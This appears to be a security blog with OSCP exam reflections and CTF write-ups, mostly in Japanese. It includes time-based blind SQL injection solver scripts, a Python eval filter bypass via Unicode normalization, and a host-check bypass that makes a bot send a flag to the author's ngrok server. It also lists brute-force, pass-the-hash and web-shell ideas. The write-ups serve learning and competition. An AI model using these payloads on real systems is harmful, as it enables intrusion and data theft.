もちろん、脆弱性に対して理解をしたうえでチートシートを作成するのは素晴らしいことだとは思いますが、理解ができていればWeb上にいくらでも転がっているチートシートが利用できるはずです。

なので、限られた時間でのチートシート作成は優先度低と判断しました。

資格情報

HackTheBoxなどとは違い、人間の脆弱性を突く攻撃が頻繁に要求されます。

パスワードの使いまわし、強度の低いパスワードの利用などを狙ってブルートフォース攻撃を行うことが多いです。

そのため、テスト中に入手した資格情報はワードリストとして利用しやすい状態で保存することを推奨します。

私は下記のようなワードリストを用意していました。

  • username.txt ← ユーザー名のリスト
  • password.txt ← パスワードのリスト
  • username-password.txt ← ユーザー名とパスワードを1カラムに収めたリスト
  • hash.txt ← NTLMハッシュのリスト
  • username:password.txt ← ユーザー名、パスワードをコロン区切りにしたリスト
  • username:hash.txt ← ユーザー名、ハッシュをコロン区切りにしたリスト

hydraやCrackMapExecなどでブルートフォース、パスワードスプレー、PtHをする際に効果的かと思います。

応用力

OSCPはペネトレーションテストの入門的資格だと話しましたが、そうは言っても随所である程度の応用が要求される場面がありました。

個人的には下記のような事象に対応しているときが一番楽しく、一番糧になったと思います。

  • コード実行はされているがReverse Shellが取れない
  • 上位権限でのコード実行は成功したがReverse Shellが取れない
  • SQL InjectionはあったがDB内に有用な情報が無い
  • 内部ネットワークから攻撃端末への経路が無く、ツールが転送できない
  • ダウンロードしたExploit Codeがそのまま実行しても動かない

コード実行はされているがReverse Shellが取れない

アウトバウンドのポートが制限されている?

上位権限でのコード実行は成功したがReverse Shellが取れない

Reverse Shellがだめなら管理者ユーザーを追加する実行ファイルの実行は?

SQL InjectionはあったがDB内に有用な情報が無い

MySQLならINTO OUTFILEでWebShellを配置できる?MSSQLならxp_cmdshellは?

内部ネットワークから攻撃端末への経路が無く、ツールが転送できない

外部に面しているホストのIISサーバー経由でツールは転送できる?evil-winrmのuploadは使える?

ダウンロードしたExploit Codeがそのまま実行しても動かない

標準ではないURLやポートで動いている?Pythonの場合バージョン依存のコード?

などなど、なぜ攻撃が成功しないのかを分析して解決方法を見つける能力が求められると思います。

同じ轍を踏まないように

OSCPのサブスク購入から試験までで失敗した、こうすればよかったと思うことの共有です。

PDFを読む

OSCPは教材としてWebベースのExerciseとPDFが提供されます。

私はExerciseがOSCPの内容を全て含んでいると思ってPDFをあまり読まなかったんですがこれが良くなかったです。

試験でExerciseで出題されていない攻撃方法が出てきて焦りました。ただ知識としては持っていたのでgot a kotonakiしました。

試験後にPDFを読み返すと、しっかり紹介されていたので事前にPDFは全て目を通しておくことを推奨します。

試験のスケジュール

ExerciseとLabを全て終了してから試験まで1か月ほど空いてしまいました。

人によっては準備期間として1か月は適切かと思いますが、私の場合は怠惰な日々を過ごしていたため ExerciseとLabの終了直後にスケジュールするのが良かったと思います。

ただし、スケジュールはだいぶ先でないと空いていないことが多く、Labが全て終わる直後のタイミングに合わせることが難しいと思います。

その場合、最悪終了の目途が立ちづらい企業ネットワークの完遂は試験後に回し、OSCP Retired Networkを全て終わらせて試験に臨む、でも良いかもしれません。

プロクタリングツールの画面共有

私の画面構成としてはラップトップの画面+大きいモニターという構成で、ラップトップの画面は閉じておけばいいだろうと思っていましたが、使用するモニターは全て共有する必要があるとのことで二画面を共有することになりました。

ただし、二画面以上を共有する場合はFirefoxでなくChromeを推奨とのことで試験時間中にChromeをインストールする羽目になりました。

このおかげで試験時間が1時間削られました。

事前にProctoring tool manualは熟読することを推奨します。 また、二画面以上を使用する場合は事前にChromeをインストールしておくことを推奨します。

https://help.offsec.com/hc/en-us/articles/360050299352-Proctoring-Tool-Manual

Active Directory Setのフラグ

OSCPのActive Directory setはドメインの完全侵害で40ポイントが取得できるということは知っていましたが DCのproof.txtを提出するだけで40ポイントだと勘違いしていました。

実際はActive Directory set全体で4つのフラグが存在し、全て提出で40ポイントだと思います。 あとで気づいて全てのフラグを回収しました。

私と同じ勘違いをしてフラグを取りこぼすことが無いように注意してください。

これからのこと

私が購入したLearnOneサブスクリプションにはOSCP+OSWP+KLCPの試験バウチャーが含まれています。 なのでOSCPに受かったからといって気が抜けず、精進が必要です。

また、OSCPを取ってから思いましたが、今日のペネトレーションテストではOSCPだけ持っていてもなんの役にも立たないです。

OSCPの全てのホストはいわば素っ裸でした。そんな環境が現実世界に存在するはずもなく、確実にAVやEDRなどが邪魔になってきます。

その辺の防御機構を相手に取るのがOSEPというOSCPの上位資格のようですので、LearnOneが終了したらOSEPに取り組んでいきます。

TFC CTF 2023 Writeup

MISC/DISCORD SHENANIGANS V3

タイトルと説明文からDiscordにFlagがありそうです。

Discordに参加するとBotがいました。

プロフィール画像をよく見ると左上に小さく文字っぽいのが見えるので URLを探してアクセスするだけでした。

FORENSICS/SOME TRAFFIC

pcapが渡されます。社員がどこかのサイトに写真をアップロードしたとのことです。

Wiresharkで見てみると、HTTPの割合がほぼ全てを占めているのでHTTPに絞って探索を開始しました。

/uploadのパスにPOSTしているリクエストが3つ見つかりました。

Encapsulated multipart part:の部分を右クリックしてパケットをバイト列としてエクスポートで画像を復元できます。

画像は以下の3つでした。

この内、黒塗りの画像をよく見ると画像の端に緑色のノイズのようなものが見えます。

Greenの値のみを抽出するスクリプトを書いて実行するとフラグが表示されます。

from PIL import Image

i = Image.open("image2.png")

pixels = i.load()
_, height = i.size

print("".join([chr(pixels[0,y][1]) for y in range(height)]))

FORENSICS/MCTEENX

あと少しでしたが解けませんでした。

パスワード付きZIPが与えられます。

パスワードがわからないので既知平文攻撃の条件を確認しました。

ZipCryptoが使用されていること

暗号化ZIPに含まれているファイルの少なくとも12byteが既知であること

ZIPにはscript.shが含まれています。

拡張子からShell Scriptであることがわかり、そうであればShebangがあるはず。

#!/bin/bash\nで12byteなので条件は満たせそう。

既知平文攻撃の条件は満たせているっぽいのでpkcrackを使用します。

-C [暗号化されたzipファイル]
-c [暗号化されたzipファイルの中で平文がわかるファイル]
-P [平文のファイルが入っている暗号化されていないzip] <- オプショナル
-p [平文のファイル]
-d [出力先(復号したzipファイルの名前)]

実行後しばらくしてkey0,key1,key2が出力されました。

keyを使用したdecryptのほうが高速っぽいので今度はこれらの値を持ってzipdecryptを使用します。

取り出せたスクリプトを実行するとPNG画像が生成されます。

stegsolveで、下記の条件で文字列を抽出すると謎のHexが表示されます。

が、このHexをどうするかがわからず時間切れになりました。

Writeupを見るとフラグのフォーマット(TFCCTF{)とHexのXORを取るとHex全体がWLRという文字列の繰り返しとXORされていることに気付けるようです。

あとはHex全体をWLRの繰り返しとXORするだけでフラグが取れます。

b = bytes.fromhex("030a111418142c783b39380d397c0d25293324231c66220d367d3c23133c6713343e343b3931")

for i,v in enumerate(b):
    div = i % 3
    if div == 0:
        print(chr(v ^ ord("W")), end='')
    elif div == 1:
        print(chr(v ^ ord("L")), end='')
    elif div == 2:
        print(chr(v ^ ord("R")), end='')

FORENSICS/MCELLA

解けませんでした。 ですが今後使えそうな知識だったので書きます。

lsのバイナリが与えられます。

fileコマンドの出力は自分のKaliに入っているlsと同一のものでした。

機能的にも標準のlsと同じようでした。

ただ、objdumpの結果を比較すると命令の機械語が異なっていることに気づきました。 機械語ニーモニックは1対1で対応すると思い違和感はあったんですが、時間切れになりました。

ここからはWriteupでわかったんですが、x86のバイナリ用のstegツールがあるらしいです。

GitHub - woodruffw/steg86: Hiding messages in x86 programs using semantic duals

これを使用するとFlagが得られました。

原理としては、x86 のModR/M バイトの R/M フィールドを利用しているらしいんですがよくわからん。。

MISC/MY FIRST CALCULATOR

チームの別の人が解いてましたが私は解けませんでした。

今後使えそうな知識だったので書きます。

短いPythonアプリケーションがホストされています。

evalでFlagを読む問題ですが、英字と.がフィルタされています。

import sys

print("This is a calculator")

inp = input("Formula: ")

sys.stdin.close()

blacklist = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ."

if any(x in inp for x in blacklist):
    print("Nice try")
    exit()

fns = {
    "pow": pow
}

print(eval(inp, fns, fns))

方針として、evalのなかでevalを実行してPythonコードはOctal Stringで指定しようとしましたが、どうしてもevalという文字列のバイパスが思いつきませんでした。

eval("\xxx\xxx\xxx\xxx\xxx")

知らなかったんですが、Pythonのキーワードや関数名はUnicode正規化されるようなのでevalⅇᵥᵃˡのような文字列でも実行できるようです。

ja.wikipedia.org

peps.python.org

Unicodeがどの文字に正規化されるかはunicodedata.normalize("NFKC", s)で確認できます。

NFKCの部分は正規系のフォーマットだそうで他にもNFC, NFD, NFKDがあります。

正規化後に濁点が合成されるか、半角か全角かなどの違いがあるようです。

これを利用して簡単な変換スクリプトを書きました。

eval関数名部分は毎回ランダムなunicode文字列で構成されます。

import unicodedata
import random
import sys

if len(sys.argv) < 2:
  print("Usage: python3 unnormalize.py [python code]")
  sys.exit(1)

unicode_chars = {}

# Ⓐ 系の文字は通らないので除く
for unicode_id in list(range(128,9398)) + list(range(9451, 65536)):
  char = chr(unicode_id)
  normalized_char = unicodedata.normalize('NFKC', char)

  if normalized_char in unicode_chars:
    unicode_chars[normalized_char] += char
  else:
    unicode_chars[normalized_char] = [char]

s=""
for v in "eval":
  idx = random.randrange(len(unicode_chars[v]))
  s += unicode_chars[v][idx]

s += "(\""
for v in sys.argv[1]:
    s += "\\" + str(oct(ord(v))[2:])

s += "\")"

print(s)

これを実行するとeval部分がunicodeに変換され、コード部分はOctal stringとして出力されます。

あとはサーバーに向けて文字列を出力するだけでFlagが出力されます。

Amateurs CTF 2023 Writeup

所感

0nePaddingというチームで参加して914チーム中16位でした。

アクティブだったチームはだいたい700チームくらいだと思います。

三連休だけの開催かと思ってたらなぜか伸びて腰を据えて参加できました。

misc/Insanity check

説明に多数の単語が与えられているのみの問題です。

この規則はチーム内の他の人が気づいていたのですが、「i」から始まる単語を除外すると 「something hidden the rules」という文章が出現します。

このCTFにはdiscordサーバーがあり、rulesチャンネルが存在するためそのどこかにflagがあると推測できます。 画像が貼られていたのでstegoかと思いましたが特に何も見つからず…。

iPhoneでrulesを見たときにMarkdownのnumberd listの値がやけにバカでかい数値になっていることに気づきました。

そこでrulesの投稿をテキストとしてコピーしたところ 5つの大きい整数が得られました。

あとはこれらをlong_to_bytesしてからつなげるだけでflagが取得できます。

from Crypto.Util.number import long_to_bytes

print(long_to_bytes(107122414347637)+long_to_bytes(125839376402043)+long_to_bytes(122524418662265)+long_to_bytes(122549902405493)+long_to_bytes(121377376789885))

misc/legality

作ったアプリケーションにAGPLライセンスを適用したそうです。 パスワードを忘れたそうなのでパスワードを探します。

以下のWebページにパスワードを入力することが目標。

LICENSEへのリンクが存在するのでアクセスしてみると 管理者?のメールアドレスが記載されている。

あまり詳しくはないですがAGPLライセンスを適用したアプリケーションはユーザーから要求された場合はソースコードを提供しなければならない規則があったと思うので上記のメールアドレスにメールを送ってみました。

数時間後、返信がありTypeScriptのソースコードが送られてきました。

その中にパスワードがハードコードされていたのでそれを使ってログインしたらflagが表示されました。

main.ts

import { serve } from "https://deno.land/std@0.181.0/http/server.ts";
import { serveFile } from "https://deno.land/std@0.181.0/http/file_server.ts";

const handler = async (request: Request): Promise<Response> => {
  const url = new URL(request.url);
  switch(url.pathname) {
    case "/":
        return await serveFile(request, "index.html");
    case "/LICENSE":
        return await serveFile(request, "LICENSE");
    case "/submit":
        if(url.searchParams.get("password") == "il0vefreesoftware!distributefreely!") {
            return await serveFile(request, "flag.txt");
        } else {
            return new Response("incorrect password.")
        }
  }

  return await serveFile(request, "404.html");
};

await serve(handler);

osint/ScreenshotGuesser

無線アクセスポイントのSSIDから場所を特定する問題です。

このスクリーンショットが与えられます。

無線APの特定にwigleを使用しました。

wigle.net

PRIMAVERA FOUNDATION 5G_2.4GEXT が世界で一つだけだったのでその周辺に絞ってその他のAPの緯度経度を調べます。

NETGEAR17に関しては範囲を絞って検索しても大量に存在したため省略しています。

SSID lat long
PRIMAVERA FOUNDATION 5G_2.4GEXT 32.23569107 -110.98345184
IBR600-22c 32.23879242 -110.98509979
5BA267 32.23749924 -110.98191071
ARRIS-4E0A 32.235886 -110.983539
CenturyLink1432 32.23577118 -110.98181152
DIRECT-F4-HP ENVY Pro 6400 32.23579788 -110.98252106
Linksys08452-guest 32.23592758 -110.98352814
NETGEAR17 - -

あとはこの緯度経度を総当りするだけでどれかがヒットしました。

Proof of Workを提出しなければいけない問題だったので追加の処理が必要でした。

solver.py

from pwn import *
import subprocess
import os

#context.log_level = "debug"
lats = [
    32.23569107,
    32.23879242,
    32.23749924,
    32.235886,
    32.23577118,
    32.23579788,
    32.23592758
]

longs = [
    -110.98345184,
    -110.98509979,
    -110.98191071,
    -110.983539,
    -110.98181152,
    -110.98252106,
    -110.98352814
]

for i in lats:
  for j in longs:
     io = remote("amt.rs", 31450)
     line = io.recvline()
     #print(line)
     io.recvuntil(b"solution: ")
     pow_command = line.decode().replace("proof of work: ","")
     pow = subprocess.run(pow_command, capture_output=True, shell=True)
     io.send(pow.stdout)
     io.recvuntil(b"Please enter the long and lat of the location: ")

     io.sendline(f"{i}, {j}")
     if b"Wrong" not in io.recvline():
        print(f"{i},{j}: {io.recvline()}")
     io.close()
     os._exit(0)

osint/Archived

問題がアーカイブされた、という問題です。

最初は、これは正式な問題なのかと思いましたがsolvesが増えていっていたので取り組みました。

Authorのdiscordプロフィールやその他SNSアカウントなど調べ上げましたが、discordで管理者のソーシャルアカウントは関係ないみたいなアナウンスがあったため、方針を切り替えました。

問題名がArchiveということでWeb上にアーカイブされていないか探してみると、Internet Archiveアーカイブが落ちていました。

7zをダウンロードして解凍するとflagがありました。

web/cps remastered

解いてから気づいたんですが、この問題にはアクシデントがあり、0 Pointでした。

ユーザー登録機能とログイン機能、ログイン後にパスワードを表示する機能があります。 CPS testの機能についてはよく理解できていません。。。

ユーザー登録

ログイン

ログイン後トップ

ログイン後はtokenがクッキーに設定されます

ログインなどの処理はPrepared Statementを使用しているが、

ユーザー登録時はsprintfを使って結合しているためSQLiがあります。

payloadはこんな感じで、tokenを1文字ずつ取得していきます。 username=test',IF((SELECT+COUNT(*)+FROM+tokens+WHERE+username='admin'+and+token+like+'{TOKEN}%')>0,SLEEP(5),0))--+-&password=test

solver.py

import requests
import urllib3
from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(InsecureRequestWarning)

URL = "https://cps.amt.rs/register.php"

headers = {"Content-Type": "application/x-www-form-urlencoded"}
proxies = {"http":"http://localhost:8080", "https":"http://localhost:8080"}

while True:
  for c in "abcdefghijklmnopqrstuvwxyz0123456789":
    payload =f"username=test',IF((SELECT+COUNT(*)+FROM+tokens+WHERE+username='admin'+and+token+like+'{token+c}%')>0,SLEEP(5),0))--+-&password=test"
    res = requests.post(
      URL,
      headers=headers,
      data=payload,
      proxies=proxies,
      verify=False
    )

    if res.elapsed.total_seconds() > 5:
        token += c
        print(token)

    check_payload =f"username=test',IF((SELECT+COUNT(*)+FROM+tokens+WHERE+username='admin'+and+token='{token}')>0,SLEEP(5),0))--+-&password=test"
    res2 = requests.post(
      URL,
      headers=headers,
      data=check_payload,
      proxies=proxies,
      verify=False
    )

    if res2.elapsed.total_seconds() > 5:
      print(f"token={token}")
      break

あとはtokenをクッキーに設定してアクセスすればパスワード(flag)が表示されます。

web/go-gopher

gopher問題です。

Webに入力したgopherURLにボットがアクセスし、gopherレスポンスに乗っているURLに対してボットがHTTPリクエストを送信します。

送信されたHTTPリクエストボディのflagが出力されているのでどうにかしてそれを取得します。

Webのボット側はbot.go、gopherサーバー側はmain.goが実行されています。

bot.go

package main

import (
    "bytes"
    "fmt"
    "log"
    "net/http"
    "net/url"
    "os"
    "strings"

    "git.mills.io/prologic/go-gopher"
)

var flag = []byte{}

func main() {
    content, err := os.ReadFile("flag.txt")
    if err != nil {
        log.Fatal(err)
    }
    flag = content

    http.HandleFunc("/submit", Submit)
    http.HandleFunc("/", Index)
    if err := http.ListenAndServe(":8080", nil); err != nil {
        log.Fatal(err)
    }
}

func Index(w http.ResponseWriter, r *http.Request) {
    http.ServeFile(w, r, "index.html")
}

func Submit(w http.ResponseWriter, r *http.Request) {
    r.ParseForm()
    u, err := url.Parse(r.Form.Get("url"))
    if err != nil || !strings.HasPrefix(u.Host, "amt.rs") {
        w.Write([]byte("Invalid url"))
        return
    }

    w.Write([]byte(Visit(r.Form.Get("url"))))
}

func Visit(url string) string {
    fmt.Println(url)
    res, err := gopher.Get(url)
    if err != nil {
        return fmt.Sprintf("Something went wrong: %s", err.Error())
    }
    h, _ := res.Dir.ToText()
    fmt.Println(string(h))

    url, _ = strings.CutPrefix(res.Dir.Items[2].Selector, "URL:")
    fmt.Println(url)
    _, err = http.Post(url, "text/plain", bytes.NewBuffer(flag))

    if err != nil {
        return "Failed to make request"
    }

    return "Successful visit"
}

main.go

package main

import (
    "fmt"
    "log"
    "net/url"
    "strings"

    "git.mills.io/prologic/go-gopher"
)

func index(w gopher.ResponseWriter, r *gopher.Request) {
    w.WriteInfo("Welcome to the flag submitter!")
    w.WriteInfo("Please submit all your flags!")
    w.WriteItem(&gopher.Item{
        Type:        gopher.DIRECTORY,
        Selector:    "/submit/user",
        Description: "Submit flags here!",
    })
    w.WriteItem(&gopher.Item{
        Type:        gopher.FILE,
        Selector:    "URL:https://ctf.amateurs.team/",
        Description: "Get me more flags lackeys!!",
    })
    w.WriteItem(&gopher.Item{
        Type:        gopher.DIRECTORY,
        Selector:    "/",
        Description: "Nice gopher proxy",
        Host:        "gopher.floodgap.com",
        Port:        70,
    })
}

func submit(w gopher.ResponseWriter, r *gopher.Request) {
    name := strings.Split(r.Selector, "/")[2]
    undecoded, err := url.QueryUnescape(name)
    if err != nil {
        w.WriteError(err.Error())
    }
    w.WriteInfo(fmt.Sprintf("Hello %s", undecoded))
    w.WriteInfo("Please send a post request containing your flag at the server down below.")
    w.WriteItem(&gopher.Item{
        Type:        gopher.FILE,
        Selector:    "URL:http://amt.rs/gophers-catcher-not-in-scope",
        Description: "Submit here! (gopher doesn't have forms D:)",
        Host:        "error.host",
        Port:        1,
    })
}

func main() {
    mux := gopher.NewServeMux()

    mux.HandleFunc("/", index)
    mux.HandleFunc("/submit/", submit)

    log.Fatal(gopher.ListenAndServe("0.0.0.0:7000", mux))
}

bot.goのSubmit部分の処理を見るとsubmitされたURLのホスト名チェックが甘いことがわかります。

if err != nil || !strings.HasPrefix(u.Host, "amt.rs"){省略}

この場合、amt.rs.selfhosted.comのような他ドメインへのリクエストが送れますので下記の流れでflagが取得できます。

  1. amt.rs.selfhosted.comのような自分の管理化のドメインを用意する
  2. amt.rs.selfhosted.comで改変したmain.goを実行し、gopherリクエストを待ち受ける
  3. 同じくamt.rs.selfhosted.comでHTTPサーバーを立ち上げ、flagの乗ったリクエストを待ち受ける
  4. https://gopher-bot.amt.rs/gopher://amt.rs.selfhosted.comをsubmitする

今回はngrokを利用しました。

amt.rs.selfhosted.comのような自分の管理化のドメインを用意する

ngrokのTCP Addressに割り当てられたアドレスを、amt.rs.rikoteki.comのCNAMEに設定しました。

amt.rs.selfhosted.comで改変したmain.goを実行し、gopherリクエストを待ち受ける

indexハンドラ部分を書き換えます。

書き換えたURLはngrokで取得したHTTPで使用できるドメイン名です。

func index(w gopher.ResponseWriter, r *gopher.Request) {
        w.WriteInfo("Welcome to the flag submitter!")
        w.WriteInfo("Please submit all your flags!")
        w.WriteItem(&gopher.Item{
                Type:        gopher.DIRECTORY,
-               Selector:    "/submit/user",
+               Selector:    "URL:http://rikoteki.ng.ngrok.app",
                Description: "Submit flags here!",
        })
        w.WriteItem(&gopher.Item{
                Type:        gopher.FILE,
                Selector:    "URL:https://ctf.amateurs.team/",
                Description: "Get me more flags lackeys!!",
        })
        w.WriteItem(&gopher.Item{
                Type:        gopher.DIRECTORY,
                Selector:    "/",
                Description: "Nice gopher proxy",
                Host:        "gopher.floodgap.com",
                Port:        70,
        })
}

実行します。

ngrokでlocalの7000番を、与えられているTCP addressにトンネルします。

ngrok tcp --region=us --remote-addr=7.tcp.ngrok.io:22365 7000

amt.rs.rikoteki.comで待ち受けられていることが確認できます。

同じくamt.rs.selfhosted.comでHTTPサーバーを立ち上げ、flagの乗ったリクエストを待ち受ける

ボディにフラグが乗っているのでボディを出力できるHTTPサーバーを立ち上げます。

ngrokでHTTP 80番をトンネルします。

ngrok http --domain=rikoteki.ng.ngrok.app 80

https://gopher-bot.amt.rs/gopher://amt.rs.selfhosted.comをsubmitする

gopher://amt.rs.rikoteki.com:22365をsubmitするとSuccessful visitと表示されます。

HTTPサーバーを確認するとflagが出力されているのが確認できます。

web/gophers-revenge

go-gophersのアップデート版の問題です。 非想定解ですが、解きました。

ホスト名のチェックが強化され、HTTPリクエストが送信されるTLD+1がamt.rsでないといけない制約が追加されました。

送信されるPOSTリクエストにはusernameとpasswordパラメータがあり、passwordがflagになっています。

また、POSTリクエストに対するレスポンスのtokenクッキーを出力するようになっています。

bot.go

package main

import (
        "bytes"
        "crypto/rand"
        "fmt"
        "log"
        "net/http"
        "net/url"
        "os"
        "strings"

        "git.mills.io/prologic/go-gopher"
        "golang.org/x/net/publicsuffix"
)

var flag = []byte{}

func randomString(length int) string {
        b := make([]byte, length+2)
        rand.Read(b)
        return fmt.Sprintf("%x", b)[2 : length+2]
}

func main() {
        content, err := os.ReadFile("flag.txt")
        if err != nil {
                log.Fatal(err)
        }
        flag = content

        http.HandleFunc("/submit", Submit)
        http.HandleFunc("/", Index)
        if err := http.ListenAndServe(":8080", nil); err != nil {
                log.Fatal(err)
        }
}

func Index(w http.ResponseWriter, r *http.Request) {
        http.ServeFile(w, r, "index.html")
}

func Submit(w http.ResponseWriter, r *http.Request) {
        r.ParseForm()
        u, err := url.Parse(r.Form.Get("url"))
        if err != nil || u.Host != "amt.rs:31290" {
                w.Write([]byte("Invalid url"))
                return
        }

        w.Write([]byte(Visit(r.Form.Get("url"))))
}

func Visit(gopherURL string) string {
        fmt.Println(gopherURL)
        res, err := gopher.Get(gopherURL)
        if err != nil {
                return fmt.Sprintf("Something went wrong: %s", err.Error())
        }

        rawURL, _ := strings.CutPrefix(res.Dir.Items[2].Selector, "URL:")
        fmt.Println(rawURL)

        u, err := url.Parse(rawURL)

        etldpo, err2 := publicsuffix.EffectiveTLDPlusOne(u.Host)
        if err != nil || err2 != nil || etldpo != "amt.rs" {
                return "Invalid url"
        }

        resp, err := http.Post(u.String(), "application/x-www-form-urlencoded", bytes.NewBuffer([]byte(fmt.Sprintf("username=%s&password=%s", randomString(20), flag))))

        if err != nil {
                return "Failed to make request"
        }

        cookies := resp.Cookies()
        token := ""
        for _, c := range cookies {
                if c.Name == "token" {
                        token = c.Value
                }
        }

        if token != "" {
                return fmt.Sprintf("Thanks for sending in a flag! Use the following token once i get the gopher-catcher frontend setup: %s", token)
        } else {
                return "Something went wrong, my sever should have sent a cookie back but it didn't..."
        }
}

HTTPリクエストを送信する先はamt.rsサブドメインでなくてはならないのでその中でどうにかしなければなりません。

しばらく考え、0 Pointのcps remasterdという問題のユーザー登録機能がusernameとpasswordをパラメータにとり、登録に成功した場合tokenがクッキーにセットされることに気づきました。tokenをセットしてページにアクセスするとパスワードが表示されるためflagが取れます。

基本的な手順はgo-gopherと一緒ですが、gopherリクエストを送信させるURLのホスト名チェックのバイパスができず、この方法では解けませんでした。。。

仕方ないので別の方法を考えました。

この問題は既に10チームほどが解いていたのでcps remasterdのデータベースにはgopher-revengeのflagをパスワードとしたユーザーが登録されているはず。

加えてcps remasterdにはSQLiがあるのでパスワードを漏洩させることが可能。ということでSQLiでflagを取得しました。

solver.py

import os
import requests
import urllib3
from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(InsecureRequestWarning)

URL = "https://cps.amt.rs/register.php"

headers = {"Content-Type": "application/x-www-form-urlencoded"}
proxies = {"http":"http://localhost:8080", "https":"http://localhost:8080"}

password = ""
while True:
    for c in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$_.{}+":
      escaped_char = ""
      if c in "~!@#$_.{}+":
        escaped_char = "\\" + c
      else:
        escaped_char = c

      tmp_password = password + escaped_char
      payload = "username=test',IF((SELECT+COUNT(*)+FROM+(SELECT+*+FROM+users+WHERE+CHAR_LENGTH(username)=20+and+password+LIKE+BINARY+'"+tmp_password+"%')+as+t1)>50,SLEEP(5),0))--+-&password=test"
      res = requests.post(
        URL,
        headers=headers,
        data=payload,
        proxies=proxies,
        verify=False
      )

      if res.elapsed.total_seconds() > 5:
          password += c
          print(password)

      check_payload = "username=test',IF((SELECT+COUNT(*)+FROM+(SELECT+*+FROM+users+WHERE+password+LIKE+'amateursCTF\{" + tmp_password + "\}')+as+t1)>0,SLEEP(5),0))--+-&password=test"
      res2 = requests.post(
        URL,
        headers=headers,
        data=check_payload,
        proxies=proxies,
        verify=False
      )

      if res2.elapsed.total_seconds() > 5:
        print(f"flag={password}")
        os._exit(0)

Amateurs CTF 2023 English Writeup

I participated with a team called 0nePadding and we came in 16th out of 914 teams.

I think there were roughly 700 teams that were active.

misc/Insanity check

The only problem is that many words are given in the description.

This rule was noticed by others on the team, but when words beginning with "i" are excluded The sentence "something hidden the rules" appears.

This CTF has a discord server, and since there is a rules channel, I can assume that there is a flag somewhere in there. I thought it might be stego since the image was posted, but I couldn't find anything in particular...

When I looked at rules on my iPhone, I noticed that the numberd list value in Markdown was a ridiculously large number.

So I copied the rules post as text and got 5 large integers.

Then, just by connecting these long_to_bytes and then connecting them together, I got the flag.

from Crypto.Util.number import long_to_bytes

print(long_to_bytes(107122414347637)+long_to_bytes(125839376402043)+long_to_bytes(122524418662265)+long_to_bytes(122549902405493)+long_to_bytes(121377376789885))

misc/legality

They applied the AGPL license to an application he created. They forgot their password and will look for it.

The goal is to enter the password in the following web page.

The link to LICENSE exists, so I accessed it the email address of the administrator's? e-mail is listed.

I don't know much about it, but I think there was a rule that an AGPL-licensed application must provide source code if requested by the user, so I sent an email to the above email address.

A few hours later, I received a reply and the TypeScript source code.

The password was hard-coded in it, so I used it to log in and the FLAG was displayed.

main.ts

import { serve } from "https://deno.land/std@0.181.0/http/server.ts";
import { serveFile } from "https://deno.land/std@0.181.0/http/file_server.ts";

const handler = async (request: Request): Promise<Response> => {
  const url = new URL(request.url);
  switch(url.pathname) {
    case "/":
        return await serveFile(request, "index.html");
    case "/LICENSE":
        return await serveFile(request, "LICENSE");
    case "/submit":
        if(url.searchParams.get("password") == "il0vefreesoftware!distributefreely!") {
            return await serveFile(request, "flag.txt");
        } else {
            return new Response("incorrect password.")
        }
  }

  return await serveFile(request, "404.html");
};

await serve(handler);

osint/ScreenshotGuesser

The problem is to identify the location of the wireless access point from its SSID.

This screenshot is given.

I used wigle to identify wireless APs.

wigle.net

Since PRIMAVERA FOUNDATION 5G_2.4GEXT was the only one in the world, we narrowed down the search to its vicinity and checked the latitude and longitude of other APs.

The search for NETGEAR17 was omitted because there were a large number of APs even if the search was narrowed down to a specific area.

SSID lat long
PRIMAVERA FOUNDATION 5G_2.4GEXT 32.23569107 -110.98345184
IBR600-22c 32.23879242 -110.98509979
5BA267 32.23749924 -110.98191071
ARRIS-4E0A 32.235886 -110.983539
CenturyLink1432 32.23577118 -110.98181152
DIRECT-F4-HP ENVY Pro 6400 32.23579788 -110.98252106
Linksys08452-guest 32.23592758 -110.98352814
NETGEAR17 - -

All that was left was to round up these latitudes and longitudes and one of them was hit.

Additional processing was necessary because the question required a Proof of Work to be submitted.

solver.py

from pwn import *
import subprocess
import os

#context.log_level = "debug"
lats = [
    32.23569107,
    32.23879242,
    32.23749924,
    32.235886,
    32.23577118,
    32.23579788,
    32.23592758
]

longs = [
    -110.98345184,
    -110.98509979,
    -110.98191071,
    -110.983539,
    -110.98181152,
    -110.98252106,
    -110.98352814
]

for i in lats:
  for j in longs:
     io = remote("amt.rs", 31450)
     line = io.recvline()
     #print(line)
     io.recvuntil(b"solution: ")
     pow_command = line.decode().replace("proof of work: ","")
     pow = subprocess.run(pow_command, capture_output=True, shell=True)
     io.send(pow.stdout)
     io.recvuntil(b"Please enter the long and lat of the location: ")

     io.sendline(f"{i}, {j}")
     if b"Wrong" not in io.recvline():
        print(f"{i},{j}: {io.recvline()}")
     io.close()
     os._exit(0)

osint/Archived

The problem was archived, that is.

At first, I thought this was an official problem, but the SOLVES were increasing, so I worked on it.

I checked up on the author's discord profile and other social networking accounts, etc., but the discord made an announcement that the administrator's social accounts were irrelevant, so I changed course.

I searched for archives of the issue on the web, and found that the archives were available on the Internet Archive.

I downloaded 7z and unzipped it and found the FLAG.

web/cps remastered

After solving it, I noticed that there was an accident on this problem and it was 0 Point.

This problem was used in later problems, so the solution was not wasted.

There is a user registration function, a login function, and a function to display the password after login. I am not familiar with the functionality of CPS test.

registration

login

top after login. After login, token will be set in cookie.

Logins and other processes are handled using Prepared Statement, though,

When registering users, there is SQLi because it is combined using sprintf.

The payload is like this, getting TOKEN one character at a time. username=test',IF((SELECT+COUNT(*)+FROM+tokens+WHERE+username='admin'+and+token+like+'{TOKEN}%')>0,SLEEP(5),0))--+-&password=test

solver.py

import requests
import urllib3
from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(InsecureRequestWarning)

URL = "https://cps.amt.rs/register.php"

headers = {"Content-Type": "application/x-www-form-urlencoded"}
proxies = {"http":"http://localhost:8080", "https":"http://localhost:8080"}

while True:
  for c in "abcdefghijklmnopqrstuvwxyz0123456789":
    payload =f"username=test',IF((SELECT+COUNT(*)+FROM+tokens+WHERE+username='admin'+and+token+like+'{token+c}%')>0,SLEEP(5),0))--+-&password=test"
    res = requests.post(
      URL,
      headers=headers,
      data=payload,
      proxies=proxies,
      verify=False
    )

    if res.elapsed.total_seconds() > 5:
        token += c
        print(token)

